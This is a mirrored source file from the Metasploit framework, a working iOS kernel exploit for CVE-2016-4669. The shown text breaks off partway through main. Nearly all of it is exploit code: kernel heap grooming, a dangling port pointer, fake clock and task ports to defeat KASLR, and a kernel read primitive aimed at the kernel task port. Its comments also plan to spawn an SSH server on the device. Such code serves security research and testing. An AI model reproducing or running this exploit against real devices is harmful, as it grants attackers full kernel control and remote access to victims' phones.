CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2016-4669/macho.m
Views: 11779
1
// [1] https://bugs.chromium.org/p/project-zero/issues/detail?id=882
2
// [2] http://newosxbook.com/files/PhJB.pdf
3
// [3] https://www.slideshare.net/i0n1c/cansecwest-2017-portal-to-the-ios-core
4
5
@import Foundation;
6
#include <stdio.h>
7
#include <dlfcn.h>
8
#include <stdlib.h>
9
#include <fcntl.h>
10
#include <unistd.h>
11
#include <sys/attr.h>
12
#include <mach/mach.h>
13
#include <sys/mman.h>
14
#include <sys/types.h>
15
#include <sys/stat.h>
16
#include <sys/syscall.h>
17
#include <sys/mount.h>
18
#include <spawn.h>
19
#include <sys/sysctl.h>
20
#include <sys/types.h>
21
#include <sys/socket.h>
22
23
#include <stdint.h>
24
#include <mach/mach.h>
25
#include <CoreFoundation/CoreFoundation.h>
26
27
#include <mach/clock.h>
28
#include <errno.h>
29
#include <mach/task.h>
30
31
#include "__task.h"
32
#include "utils.h"
33
#include "shell.h"
34
#include "offsets.h"
35
36
typedef union
37
{
38
uint32_t *p32;
39
uint16_t *p16;
40
uint8_t *p8;
41
void *p;
42
uint32_t u32;
43
} many_ptr_t;
44
45
46
extern kern_return_t __mach_ports_register
47
(
48
task_t target_task,
49
mach_port_array_t init_port_set,
50
mach_msg_type_number_t init_port_setCnt
51
);
52
53
// Definitions not covered by standard headers
54
extern kern_return_t mach_zone_force_gc(mach_port_t);
55
extern host_name_port_t mach_host_self(void);
56
kern_return_t (* mach_vm_read)(vm_map_t target_task, mach_vm_address_t address,
57
mach_vm_size_t size, vm_offset_t *data,
58
mach_msg_type_number_t *dataCnt);
59
kern_return_t (* mach_vm_read_overwrite)(vm_map_t target_task, mach_vm_address_t address,
60
mach_vm_size_t size, mach_vm_address_t data,
61
mach_vm_size_t *out_size);
62
63
kern_return_t (* mach_vm_write)(vm_map_t target_task, mach_vm_address_t address,
64
vm_offset_t data, mach_msg_type_number_t dataCnt);
65
kern_return_t (* mach_vm_deallocate)(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size);
66
kern_return_t (*io_service_add_notification_ool)(mach_port_t,
67
char *,
68
io_buf_ptr_t,
69
mach_msg_type_number_t,
70
mach_port_t,
71
unsigned *,
72
mach_msg_type_number_t,
73
kern_return_t *,
74
mach_port_t *);
75
kern_return_t (* IOMasterPort)(mach_port_t , mach_port_t *);
76
77
#define resolve(name) \
78
{\
79
name = dlsym(RTLD_DEFAULT, ""#name"");\
80
if (!name) {\
81
LOG("could not resolve " #name "");\
82
exit(-1);\
83
}\
84
}\
85
86
87
#define BAD_ADDR ((addr_t)-1)
88
89
// Kernel offsets
90
static struct {
91
addr_t kernel_task;
92
addr_t system_clock;
93
addr_t base;
94
} koffsets = {
95
.kernel_task = 0x8038c090,
96
.system_clock = 0x80338e68,
97
.base = 0x80001000,
98
};
99
100
static mach_port_t master = MACH_PORT_NULL;
101
static mach_port_t tfp0 = MACH_PORT_NULL;
102
103
int __update_super_port(int pipe[2], off_t off, char *buf, void (^fill)(many_ptr_t *mp));
104
105
#define PORT_SIZE 0x70
106
107
#define IKOT_TASK 2
108
#define IKOT_CLOCK 25
109
#define IO_ACTIVE 0x80000000
110
111
#define off(x) (x)
112
#define off16(x) (x/2)
113
#define off32(x) (x/4)
114
115
#define KALLOC_8_CNT 0x800
116
// The amount of ports we are planing to
117
// decommission during allocator garbage collection.
118
// Each page has 0x24 ports and we are allocating
119
// one pipe per page. Sp this is how many ports
120
// we will have for 0x400 pipes.
121
#define DECOM_PORTS_CNT (0x24*0x400)
122
#define PIPES_CNT 0xf80
123
#define PAGE_PORTS_CNT 0x500
124
#define X10_ALLOC_CNT 0x10
125
#define NOTIFY_CNT 0x800
126
127
#define INIT_IP_RIGHTS 0x41
128
129
void set_page_buffer_ports(char *buf, void (^fill)(many_ptr_t *mp, int ))
130
{
131
for (int i=0; i<(PAGE_SIZE-PORT_SIZE); i+=PORT_SIZE) {
132
many_ptr_t mp;
133
mp.p = buf + i;
134
fill(&mp, i);
135
}
136
}
137
138
int set_super_port(int pipe[2], off_t off, void (^fill)(many_ptr_t *mp))
139
{
140
char buf[PAGE_SIZE];
141
memset(buf, 0, sizeof(buf));
142
143
return __update_super_port(pipe, off, buf, fill);
144
}
145
146
int update_super_port(int pipe[2], off_t off, void (^fill)(many_ptr_t *mp))
147
{
148
return __update_super_port(pipe, off, NULL, fill);
149
}
150
151
void gc()
152
{
153
kern_return_t kr = mach_zone_force_gc(mach_host_self());
154
if (kr != KERN_SUCCESS) {
155
LOG("zone gc failed: %d", kr);
156
exit(-1);
157
}
158
}
159
160
int mach_ports_register_oob()
161
{
162
mach_port_t ports[3];
163
ports[0] = 0;
164
ports[1] = 0;
165
ports[2] = 0;
166
// we've patched the generated code for mach_ports_register to only actually send one OOL port
167
// but still set init_port_setCnt to the value passed here
168
return __mach_ports_register(mach_task_self(), ports, 3);
169
}
170
171
// Trigger the bug and create a dangling port pointer.
172
// Returns a ports list so that dangling port memory block
173
// is placed somewhere amongst blocks from that list.
174
mach_port_t *setup_super_port(mach_port_t *super_port, size_t ports_count)
175
{
176
mach_port_t kalloc_8_ports[KALLOC_8_CNT];
177
for (int i=0; i<KALLOC_8_CNT; i++) {
178
kalloc_8_ports[i] = alloc_port();
179
}
180
181
// We allocate a lot of ports, so they occupy full pages
182
// after some point, later on when we free those
183
// ports, pages are decommissioned for use by other
184
// allocation zones.
185
mach_port_t *ports_to_decom = calloc(ports_count, sizeof(mach_port_t));
186
for (int i=0; i<ports_count/2; i++) {
187
ports_to_decom[i] = alloc_port();
188
}
189
190
// we hope this port going to be a part of a decommissioned page
191
*super_port = alloc_port();
192
193
// allocate more pages
194
for (int i=ports_count/2; i<ports_count; i++) {
195
ports_to_decom[i] = alloc_port();
196
}
197
198
// allocate ool port messages in 8-kalloc with two super_port pointers each
199
for (int i=0; i<KALLOC_8_CNT; i++) {
200
kalloc_8_ool_ports(kalloc_8_ports[i], *super_port);
201
}
202
203
// free every 4th one
204
for (int i=0; i<KALLOC_8_CNT; i+=4) {
205
discard_message(kalloc_8_ports[i]);
206
}
207
208
// Call bugged mach_ports_register, which is
209
// going to allocate space for two port pointers
210
// (grabbing a block from 8-kalloc, which is hopefully
211
// surrounded by our ool ports) and read the third one
212
// out of bounds.
213
kern_return_t kr = mach_ports_register_oob();
214
if (kr != KERN_SUCCESS) {
215
LOG("could not register oob");
216
return NULL;
217
}
218
LOG("oob port registered ");
219
220
// free the rest of the messages
221
for (int i=1; i<KALLOC_8_CNT; i++) {
222
if (i % 4)
223
discard_message(kalloc_8_ports[i]);
224
}
225
226
return ports_to_decom;
227
}
228
229
// We check for INIT_IP_RIGHTS + 1 in ip_srights field, which
230
// should have been set by mach_ports_lookup.
231
bool is_port_pipe(char *buf, unsigned *off)
232
{
233
for (unsigned i=0; i<(PAGE_SIZE-PORT_SIZE); i+=PORT_SIZE) {
234
many_ptr_t mp;
235
mp.p = buf + i;
236
237
if (mp.p32[off32(IPC_PORT_ip_srights)] == INIT_IP_RIGHTS + 1) {
238
*off = i;
239
return true;
240
}
241
}
242
243
return false;
244
}
245
246
// we always leave pipe full, after read/write
247
// for consistency.
248
//
249
// -1 if failed, otherwise pipe index in @pipes array
250
int find_port_pipe(int * pipes, unsigned *off)
251
{
252
for (int i=0; PIPES_CNT; i++) {
253
254
int *pipe = &pipes[i*2];
255
char buf[PAGE_SIZE-1];
256
257
int cnt = read(pipe[0], buf, sizeof(buf));
258
if (cnt != sizeof(buf)) {
259
LOG("could not read pipe %d", i);
260
return -1;
261
}
262
263
if (write(pipe[1], buf, sizeof(buf)) != sizeof(buf)) {
264
LOG("pipe write failed");
265
return -1;
266
}
267
268
if (is_port_pipe(buf, off)) {
269
return i;
270
}
271
}
272
273
return -1;
274
}
275
276
int find_in_pipes(int *pipes, unsigned *off, bool (^find)(many_ptr_t *mp))
277
{
278
for (int i=0; PIPES_CNT; i++) {
279
280
int *pipe = &pipes[i*2];
281
char buf[PAGE_SIZE-1];
282
283
int cnt = read(pipe[0], buf, sizeof(buf));
284
if (cnt != sizeof(buf)) {
285
LOG("could not read pipe %x, cnt: %d", i, cnt);
286
return -1;
287
}
288
289
if (write(pipe[1], buf, sizeof(buf)) != sizeof(buf)) {
290
LOG("pipe write failed");
291
return -1;
292
}
293
294
for (unsigned j=0; j<PAGE_SIZE; j+=PORT_SIZE) {
295
many_ptr_t mp;
296
mp.p = buf + j;
297
298
if (find(&mp)) {
299
*off = j;
300
return i;
301
}
302
}
303
}
304
305
return -1;
306
}
307
308
int __update_super_port(int pipe[2], off_t off, char *buf, void (^fill)(many_ptr_t *mp))
309
{
310
char __buf[PAGE_SIZE];
311
int ret = read(pipe[0], __buf, PAGE_SIZE-1);
312
if (ret != PAGE_SIZE-1) {
313
return -1;
314
}
315
316
if (buf == NULL)
317
buf = __buf;
318
319
many_ptr_t mp;
320
mp.p = buf + off;
321
fill(&mp);
322
323
ret = write(pipe[1], buf, PAGE_SIZE-1);
324
if (ret != PAGE_SIZE-1) {
325
return -1;
326
}
327
328
return 0;
329
}
330
331
int super_port_read(int pipe[2], unsigned pipe_off,
332
void (^reader)(many_ptr_t *mp))
333
{
334
char buf[PAGE_SIZE];
335
int ret = read(pipe[0], buf, PAGE_SIZE-1);
336
if (ret != PAGE_SIZE-1) {
337
return -1;
338
}
339
340
ret = write(pipe[1], buf, PAGE_SIZE-1);
341
if (ret != PAGE_SIZE-1) {
342
return -1;
343
}
344
345
many_ptr_t mp;
346
mp.p = buf + pipe_off;
347
reader(&mp);
348
349
return 0;
350
}
351
352
addr_t get_kaslr_slide(mach_port_t port, int pipe[2], unsigned off)
353
{
354
kern_return_t kr = 0;
355
set_super_port(pipe, off, ^(many_ptr_t *mp) {
356
mp->p32[off32(IP_OBJECT_io_bits)] = IO_ACTIVE | IKOT_CLOCK;
357
mp->p32[off32(IP_OBJECT_io_references)] = 0x10;
358
mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0;
359
mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11;
360
});
361
362
for (int i=0; i<0x200; i++) {
363
364
addr_t slide = i << 21;
365
366
update_super_port(pipe, off, ^(many_ptr_t *mp) {
367
mp->p32[off32(IPC_PORT_kobject)] = koffsets.system_clock + slide;
368
});
369
370
kr = clock_sleep_trap(port, 0, 0, 0, 0);
371
if (kr == KERN_SUCCESS) {
372
return slide;
373
}
374
}
375
376
return BAD_ADDR;
377
}
378
379
int super_port_to_tfp0(int pipe[2], unsigned off, addr_t task0, addr_t space0,
380
addr_t port_addr)
381
{
382
set_super_port(pipe, off, ^(many_ptr_t *mp) {
383
mp->p32[off32(IP_OBJECT_io_bits)] = IO_ACTIVE | IKOT_TASK;
384
mp->p32[off32(IP_OBJECT_io_references)] = 0x10;
385
mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0;
386
mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11;
387
mp->p32[off32(IPC_PORT_receiver)] = space0;
388
mp->p32[off32(IPC_PORT_kobject)] = task0;
389
// we don't do notify in mach_ports_register
390
mp->p32[off32(IPC_PORT_ip_srights)] = 0x10;
391
392
mp->p32[off32(IPC_PORT_ip_messages_imq_next)] =
393
port_addr + IPC_PORT_ip_messages_imq_next;
394
mp->p32[off32(IPC_PORT_ip_messages_imq_prev)] =
395
port_addr + IPC_PORT_ip_messages_imq_prev;
396
mp->p32[off32(IPC_PORT_ip_messages_imq_qlimit)] = 0x10;
397
398
mp->p32[off32(0x14)] = 6;
399
mp->p32[off32(0x18)] = 0;
400
});
401
402
return 0;
403
}
404
405
void kread(uint64_t from, void *to, size_t size)
406
{
407
#define BLOCK_SIZE 0xf00
408
mach_vm_size_t outsize = size;
409
410
size_t szt = size;
411
if (size > BLOCK_SIZE) {
412
size = BLOCK_SIZE;
413
}
414
415
size_t off = 0;
416
417
while (1) {
418
kern_return_t kr = mach_vm_read_overwrite(tfp0, off+from,
419
size, (mach_vm_offset_t)(off+to), &outsize);
420
if (kr != KERN_SUCCESS) {
421
LOG("mach_vm_read_overwrite failed, left: %zu, kr: %d", szt, kr);
422
return;
423
}
424
szt -= size;
425
off += size;
426
if (szt == 0) {
427
break;
428
}
429
size = szt;
430
if (size > BLOCK_SIZE) {
431
size = BLOCK_SIZE;
432
}
433
}
434
#undef BLOCK_SIZE
435
}
436
437
uint32_t kr32(addr_t from)
438
{
439
kern_return_t kr;
440
vm_offset_t buf = 0;
441
mach_msg_type_number_t num = 0;
442
443
kr = mach_vm_read(tfp0,
444
from,
445
4,
446
&buf,
447
&num);
448
449
if (kr != KERN_SUCCESS) {
450
LOG("mach_vm_read failed!\n");
451
return 0;
452
}
453
uint32_t val = *(uint32_t*)buf;
454
mach_vm_deallocate(mach_task_self(), buf, num);
455
return val;
456
}
457
458
uint32_t kw32(addr_t to, uint32_t v)
459
{
460
kern_return_t kr;
461
462
kr = mach_vm_write(tfp0,
463
to,
464
(vm_offset_t)&v,
465
(mach_msg_type_number_t)4);
466
467
if (kr != KERN_SUCCESS) {
468
LOG("mach_vm_write failed!\n");
469
}
470
471
return kr;
472
}
473
474
int kread0_32(addr_t addr, void *result, mach_port_t super_port,
475
mach_port_t context_port)
476
{
477
kern_return_t kr = mach_port_set_context(mach_task_self(),
478
context_port, addr - 8);
479
if (kr != KERN_SUCCESS) {
480
LOG("mach_port_set_context failed: %d", kr);
481
return -1;
482
}
483
484
kr = pid_for_task(super_port, (int *)result);
485
if (kr != KERN_SUCCESS) {
486
LOG("pid_for_task failed: %d", kr);
487
return -2;
488
}
489
return 0;
490
}
491
492
static void khexdump0(addr_t ptr, size_t n, mach_port_t port, mach_port_t ctx_port)
493
{
494
for (int i=0; i<n; i+=2) {
495
uint32_t v1, v2;
496
kread0_32(ptr+i*4, &v1, port, ctx_port);
497
kread0_32(ptr+(i+1)*4, &v2, port, ctx_port);
498
499
LOG("%08X %08X", v1, v2);
500
}
501
}
502
503
static void khexdump(addr_t ptr, size_t n)
504
{
505
for (int i=0; i<n; i+=2) {
506
uint32_t v1, v2;
507
v1 = kr32(ptr+i*4);
508
v2 = kr32(ptr+(i+1)*4);
509
LOG("%08X %08X", v1, v2);
510
}
511
}
512
513
void * alloc_x10_make_xml(int count, uint32_t data[4])
514
{
515
char *ok_dict = malloc(0x100000);
516
unsigned pos = 0;
517
pos = sprintf(ok_dict, "<dict><key>a</key><array>");
518
519
for (int i=0; i<count; i++) {
520
pos += sprintf(ok_dict + pos,
521
"<data format=\"hex\">%08x%08x%08x%08x</data>",
522
htonl(data[0]), htonl(data[1]),
523
htonl(data[2]), htonl(data[3]));
524
}
525
526
sprintf(ok_dict+pos, "</array></dict>");
527
return ok_dict;
528
}
529
530
io_service_t alloc_x10_alloc(void *xml)
531
{
532
kern_return_t another_error = 0;
533
io_service_t i = MACH_PORT_NULL;
534
535
kern_return_t kr = io_service_add_notification_ool(master,
536
"IOServicePublish",
537
xml,
538
strlen(xml)+1,
539
MACH_PORT_NULL,
540
NULL,
541
0,
542
&another_error,
543
&i);
544
545
if (kr != KERN_SUCCESS || another_error != KERN_SUCCESS) {
546
LOG("io_service_add_notification_ool failed %d, %d",
547
kr, another_error);
548
return MACH_PORT_NULL;
549
}
550
551
return i;
552
}
553
554
addr_t kread0_port_addr(addr_t space,
555
mach_port_t port, mach_port_t super_port,
556
mach_port_t ctx_port)
557
{
558
addr_t is_table_size;
559
addr_t is_table;
560
addr_t addr;
561
kern_return_t kr = KERN_SUCCESS;
562
563
kr = kread0_32(space + SPACE_is_table_size, &is_table_size,
564
super_port, ctx_port);
565
if (kr != KERN_SUCCESS) {
566
return 0;
567
}
568
569
kr = kread0_32(space + SPACE_is_table, &is_table,
570
super_port, ctx_port);
571
if (kr != KERN_SUCCESS) {
572
return 0;
573
}
574
575
kr = kread0_32(is_table + (port >> 8)*0x10, &addr,
576
super_port, ctx_port);
577
if (kr != KERN_SUCCESS) {
578
return 0;
579
}
580
581
return addr;
582
}
583
584
#include <sys/types.h>
585
#include <sys/sysctl.h>
586
587
// This is an exploit for vulnerability described in [1].
588
//
589
// To start lets roughly out like the exploit process. It's very
590
// similar to what detailed in [2]. The only difference
591
// is we don't use an information leak bug.
592
//
593
// 1. We fill up 8 bytes kalloc zone with ool ports.
594
// two port pointers each. We use the same port for all of them.
595
//
596
// 2. Free one ool message somewhere in the middle.
597
//
598
// 3. Trigger mach_ports_register bug to allocate
599
// the block we released in 2. with 8 bytes allocation for
600
// two port pointers and read the third port send right out of bound,
601
// grabbing one of the pointers we placed into ool port messages without
602
// proper reference.
603
//
604
// 4. Free the port we sent out of line and refill it with a pipe buffers.
605
//
606
// 6. Retrieve a dangling port send right via mach_ports_lookup.
607
//
608
// 7. Craft a fake IKOT_CLOCK port send right to get kernel slide.
609
//
610
// 8. Leak address of a port receive right using mach_port_request_notification on
611
// a dangling port send right backed by a pipe buffer.
612
//
613
// 9. Use leaked port receive right pointer to setup kernel read via pid_for_task as
614
// described in [2].
615
//
616
// 10. Use kernel read to convert dangling port into a kernel task send right.
617
//
618
// 11. Spawn ssh server and deploy gnu core utils.
619
//
620
// 12. Cleanup and exit.
621
int main(int argc, char** argv)
622
{
623
kern_return_t kr = KERN_SUCCESS;
624
625
resolve(io_service_add_notification_ool);
626
resolve(IOMasterPort);
627
resolve(mach_vm_read);
628
resolve(mach_vm_read_overwrite);
629
resolve(mach_vm_write);
630
resolve(mach_vm_deallocate);
631
632
kr = IOMasterPort(MACH_PORT_NULL, &master);
633
LOG("master port: %x, kr: %d\n", master, kr);
634
635
// First we stop all other thread to reduce the "noise"
636
for_other_threads(^(thread_act_t t) {
637
kern_return_t kr = thread_suspend(t);
638
if (kr != KERN_SUCCESS)
639
LOG("could not suspend a thread");
640
});
641
642
// Set file limit for our process as high as possible,
643
// since we are using pipes as refill
644
set_nofile_limit();
645
646
int pipes[PIPES_CNT][2];
647
648
mach_port_t *ports_to_decom;
649
mach_port_t super_port;
650
651
// We are going to reclaim decommissioned pages
652
// with page size allocations via pipes.
653
// Prepare the buffer first.
654
char pipe_buf[PAGE_SIZE];
655
memset(pipe_buf, 0, sizeof(pipe_buf));
656
657
// We prepare a very minimal refill, so we don't panic
658
// in mach_ports_lookup trap when it needs to
659
// take port lock.
660
set_page_buffer_ports(pipe_buf, ^(many_ptr_t *mp, int i) {
661
mp->p32[off32(IP_OBJECT_io_bits)] = IO_ACTIVE;
662
mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0;
663
mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11;
664
// we set ip_srights to some distinct value, the function
665
// mach_ports_lookup returns as back a send right
666
// to the port, hence it increments ip_srights.
667
// We are going to use that later on to find the
668
// pipe buffer which captured the pages used
669
// for the super port.
670
mp->p32[off32(IPC_PORT_ip_srights)] = INIT_IP_RIGHTS;
671
});
672
673
// create pipe files first
674
if (pipes_create((int *)pipes, PIPES_CNT) < 0) {
675
LOG("could not create pipes");
676
return -1;
677
}
678
679
// Allocate DECOM_PORTS_CNT ports continuously after some point
680
// and mark one "super" port somewhere in the middle.
681
// The super port is returned back via super_port argument.
682
//
683
// We places super_port without a proper reference into task's itk_registered
684
// using a bogus mach_ports_register call.
685
ports_to_decom = setup_super_port(&super_port, DECOM_PORTS_CNT);
686
if (ports_to_decom == NULL) {
687
return -1;
688
}
689
690
// exhaust PAGE_SIZE zone so once we trigger the garbage collection
691
// the allocator is going to start requesting the "fresh" pages.
692
mach_port_t page_ports[PAGE_PORTS_CNT];
693
694
for (int i=0; i<PAGE_PORTS_CNT; i++) {
695
page_ports[i] = alloc_port();
696
// allocate a page via mach ool messages
697
kalloc_page_ool_ports(page_ports[i]);
698
}
699
700
// Free pages to decommission from ports zone.
701
for (int i=0; i<DECOM_PORTS_CNT; i++) {
702
mach_port_destroy(mach_task_self(), ports_to_decom[i]);
703
}
704
// Release the super port currently residing in
705
// itk_registered task_t field.
706
mach_port_destroy(mach_task_self(), super_port);
707
// Trigger garbage collection
708
gc();
709
// Refill decommissioned port pages with pipe buffers
710
pipes_alloc((int *)pipes, PIPES_CNT, pipe_buf);
711
712
mach_port_t *ports = NULL;
713
mach_msg_type_number_t cnt = 3;
714
715
// Get the dangling port pointer back while incrementing
716
// ip_srights field.
717
kr = mach_ports_lookup(mach_task_self(), (mach_port_t **)&ports, &cnt);
718
if (kr != KERN_SUCCESS) {
719
LOG("mach_ports_lookup failed %x\n", kr);
720
return -1;
721
}
722
723
super_port = ports[2];
724
LOG("got fake pipe port: %d", super_port);
725
726
// offset within the page where the super port used to reside.
727
unsigned pipe_off;
728
// the pipe buffer which reclaimed the super port page.
729
int super_pipe[2];
730
731
int pipe_idx = find_port_pipe((int *)pipes, &pipe_off);
732
733
if (pipe_idx >= 0) {
734
LOG("got port pipe %d, off: %04x\n", pipe_idx, pipe_off);
735
} else {
736
LOG("could not find port pipe");
737
exit(-1);
738
}
739
740
super_pipe[0] = pipes[pipe_idx][0];
741
super_pipe[1] = pipes[pipe_idx][1];
742
743
pipes[pipe_idx][0] = -1;
744
pipes[pipe_idx][1] = -1;
745
pipes_close((int *)pipes, PIPES_CNT);
746
747
// We have a send right to a port and full control over
748
// the backing memory via a pipe.
749
//
750
// We use method described in [3] to get kernel ASLR slide.
751
addr_t slide = get_kaslr_slide(super_port, super_pipe, pipe_off);
752
LOG("slide: %08lx", slide);
753
754
// Now we want to get kernel read using pid_for_task trap trick.
755
// The details on that can be found in [2].
756
//
757
// With control over content of a sand right we can setup a task send right.
758
// To get a kernel read we would need to have control of at least 4 bytes at
759
// a known kernel address (KA). Then we can point our send right task object
760
// to KA - offsetof(struct task, bsd_proc) and place the address we want
761
// to read from at KA.
762
//
763
// To achieve that we are going to leak address of a receive port right
764
// we can control and use mach_port_set_context to place the address we
765
// want to read at known address. (port_t ip_context field).
766
//
767
// To leak a port address we setup up our super_port so we can register
768
// a notification port for MACH_NOTIFY_DEAD_NAME via
769
// mach_port_request_notification.
770
set_super_port(super_pipe, pipe_off, ^(many_ptr_t *mp) {
771
mp->p32[off32(IP_OBJECT_io_bits)] = IO_ACTIVE;
772
mp->p32[off32(IP_OBJECT_io_references)] = 0x10;
773
mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0;
774
mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11;
775
mp->p32[off32(IPC_PORT_ip_srights)] = 99;
776
mp->p32[off32(IPC_PORT_ip_messages_imq_qlimit)] = 99;
777
mp->p32[off32(IPC_PORT_ip_messages_imq_msgcount)] = 0;
778
});
779
780
mach_port_t old;
781
782
// For pid_for_task call to work we need to make sure
783
// our fake task object has non zero reference counter.
784
// The task reference counter field would land at
785
// ip_pdrequest field of a port located before the port we
786
// are using to place our address at ip_context. So we spam
787
// ports with non zero ip_pdrequest, before allocating
788
// the port.
789
mach_port_t notify_ports[NOTIFY_CNT];
790
mach_port_t ref_port = alloc_port();
791
792
for (int i=0; i<NOTIFY_CNT/2; i++) {
793
notify_ports[i] = alloc_port();
794
// set ip_pdrequest to ref_port address
795
kr = mach_port_request_notification(mach_task_self(), notify_ports[i],
796
MACH_NOTIFY_PORT_DESTROYED, 0, ref_port,
797
MACH_MSG_TYPE_MAKE_SEND_ONCE, &old);
798
799
if (kr != KERN_SUCCESS) {
800
LOG("mach_port_request_notification failed, %x", kr);
801
}
802
}
803
804
// create a port to leak the address of
805
mach_port_t notify_port = alloc_port();
806
807
for (int i=NOTIFY_CNT/2; i<NOTIFY_CNT; i++) {
808
notify_ports[i] = alloc_port();
809
kr = mach_port_request_notification(mach_task_self(), notify_ports[i],
810
MACH_NOTIFY_PORT_DESTROYED, 0, ref_port,
811
MACH_MSG_TYPE_MAKE_SEND_ONCE, &old);
812
813
if (kr != KERN_SUCCESS) {
814
LOG("mach_port_request_notification failed, %x", kr);
815
}
816
}
817
818
uint32_t data[4];
819
memset(data, 0x41, sizeof(data));
820
821
// Since ip_requests is NULL our call to mach_port_request_notification
822
// is going to allocate array of two ipc_port_request structures from 16-kalloc zone
823
// to be able to place one notification port.
824
//
825
// struct ipc_port_request {
826
// union {
827
// struct ipc_port *port;
828
// ipc_port_request_index_t index;
829
// } notify;
830
//
831
// union {
832
// mach_port_name_t name;
833
// struct ipc_table_size *size;
834
// } name;
835
// };
836
837
//
838
// We want to have some control over the content of the blocks
839
// around where that 16 bytes block is allocated.
840
//
841
// To allocate blocks with controlled data and size we are going to
842
// use io_service_add_notification_ool, as described in [2].
843
//
844
// First we prepare the xml content to trigger the allocations.
845
void *xml_many = alloc_x10_make_xml(0x800, data);
846
847
// fill up 16-kalloc, so further allocation are more
848
// predictable.
849
for (int i=0; i<0x20; i++) {
850
alloc_x10_alloc(xml_many);
851
}
852
853
void *xml_single = alloc_x10_make_xml(1, data);
854
855
mach_port_t x10_ports_many[X10_ALLOC_CNT];
856
mach_port_t x10_ports_single[X10_ALLOC_CNT];
857
858
// we allocate large amount of 16 byte blocks
859
for (int i=0; i<X10_ALLOC_CNT; i++) {
860
x10_ports_many[i] = alloc_x10_alloc(xml_many);
861
x10_ports_single[i] = alloc_x10_alloc(xml_single);
862
}
863
864
// Free some of them to "punch holes" in 16-kalloc which
865
// are surrounded by blocks we control.
866
for (int i=X10_ALLOC_CNT; i<X10_ALLOC_CNT; i++) {
867
mach_port_destroy(mach_task_self(), x10_ports_single[i]);
868
}
869
// Call to mach_port_request_notification allocates 0x10 bytes
870
// (two ipc_port_request structs), filling one of the holes
871
// and stores the block at ip_requests field of ipc_port.
872
//
873
// First item in ip_requests has notify.index field indicating first empty
874
// record position, name.size points to the size of the table.
875
//
876
// The second one contains our notification port,
877
// notify_port is stored as notify.port at offset 8
878
kr = mach_port_request_notification(mach_task_self(), super_port,
879
MACH_NOTIFY_DEAD_NAME, 0, notify_port,
880
MACH_MSG_TYPE_MAKE_SEND_ONCE, &old);
881
if (kr != KERN_SUCCESS) {
882
LOG("mach_port_request_notification failed kr: %x", kr);
883
exit(-1);
884
}
885
886
// Read back the value allocated via ip_requests.
887
__block addr_t ip_requests = 0;
888
super_port_read(super_pipe, pipe_off, ^(many_ptr_t *mp) {
889
ip_requests = mp->p32[off32(IPC_PORT_ip_requests)];
890
});
891
LOG("got ip_requests: %lx", ip_requests);
892
893
// -8 we need for +8 pid offset in proc structure.
894
// + 8 is for second ipc_port_request record.
895
data[0] = ip_requests - 8 + 8;
896
897
free(xml_many);
898
// now prepare another xml to replace the block we allocated
899
// before with new data. We place our ip_requests pointer at
900
// offset 0.
901
xml_many = alloc_x10_make_xml(0x1000, data);
902
903
// free the previous allocation
904
for (int i=0; i<X10_ALLOC_CNT; i++) {
905
mach_port_destroy(mach_task_self(), x10_ports_many[i]);
906
}
907
908
// and refill with new content
909
for (int i=0; i<X10_ALLOC_CNT; i++) {
910
x10_ports_many[i] = alloc_x10_alloc(xml_many);
911
}
912
913
// We hope that ip_requests + 0x10 was refilled with our
914
// data which has ip_requests pointer at offset 0.
915
//
916
// Now we setup a task port and point kobject to
917
// ip_requests - offsetof(struct task, bsd_proc) + 0x10,
918
// so when we call pid_for_task on it we are going to
919
// get ip_requests + 8, which is the address of notify_port
920
// we placed there before.
921
set_super_port(super_pipe, pipe_off, ^(many_ptr_t *mp) {
922
mp->p32[IP_OBJECT_io_bits] = IO_ACTIVE | IKOT_TASK;
923
// set reference counter so the port is never released
924
mp->p32[off32(IP_OBJECT_io_references)] = 0x10;
925
mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0;
926
mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11;
927
mp->p32[off32(IPC_PORT_kobject)] = ip_requests - TASK_bsd_proc + 0x10;
928
mp->p32[off32(IPC_PORT_ip_srights)] = 0x10;
929
mp->p32[off32(IPC_PORT_ip_requests)] = ip_requests;
930
});
931
932
addr_t notify_port_addr;
933
kr = pid_for_task(super_port, (int *)&notify_port_addr);
934
if (kr != KERN_SUCCESS) {
935
LOG("pid_for_task failed");
936
exit(-1);
937
}
938
LOG("notify addr: %lx", notify_port_addr);
939
// Update the content of the task port so when we call pid_for_task
940
// it's going to use the value of notify_port ip_context field
941
// as bsd_info.
942
update_super_port(super_pipe, pipe_off, ^(many_ptr_t *mp) {
943
mp->p32[off32(IPC_PORT_kobject)] = notify_port_addr - TASK_bsd_proc + IPC_PORT_ip_context;
944
});
945
946
uint32_t dummy = 0;
947
if (kread0_32(koffsets.base + slide, &dummy, super_port, notify_port) < 0) {
948
LOG("early kernel read failed");
949
exit(-1);
950
}
951
if (dummy != 0xFEEDFACE) {
952
LOG("could not setup early kernel read");
953
exit(-1);
954
}
955
LOG("got early kernel read");
956
957
// remove our notification port, to be able to safely release the
958
// super_port later on.
959
kr = mach_port_request_notification(mach_task_self(), super_port,
960
MACH_NOTIFY_DEAD_NAME, 0, MACH_PORT_NULL,
961
MACH_MSG_TYPE_MAKE_SEND_ONCE, &old);
962
if (kr != KERN_SUCCESS) {
963
LOG("mach_port_request_notification failed kr: %x", kr);
964
exit(-1);
965
}
966
967
// The only thing left to get arbitrary kernel read/write is to
968
// obtain some kernel artifacts.
969
addr_t kernel_task;
970
if (kread0_32(koffsets.kernel_task + slide, (uint32_t *)&kernel_task,
971
super_port, notify_port) < 0) {
972
exit(0);
973
}
974
LOG("kernel_task: %lx", kernel_task);
975
976
addr_t kernel_space;
977
addr_t kernel_itk_self;
978
kread0_32(kernel_task + TASK_itk_self, (uint32_t *)&kernel_itk_self,
979
super_port, notify_port);
980
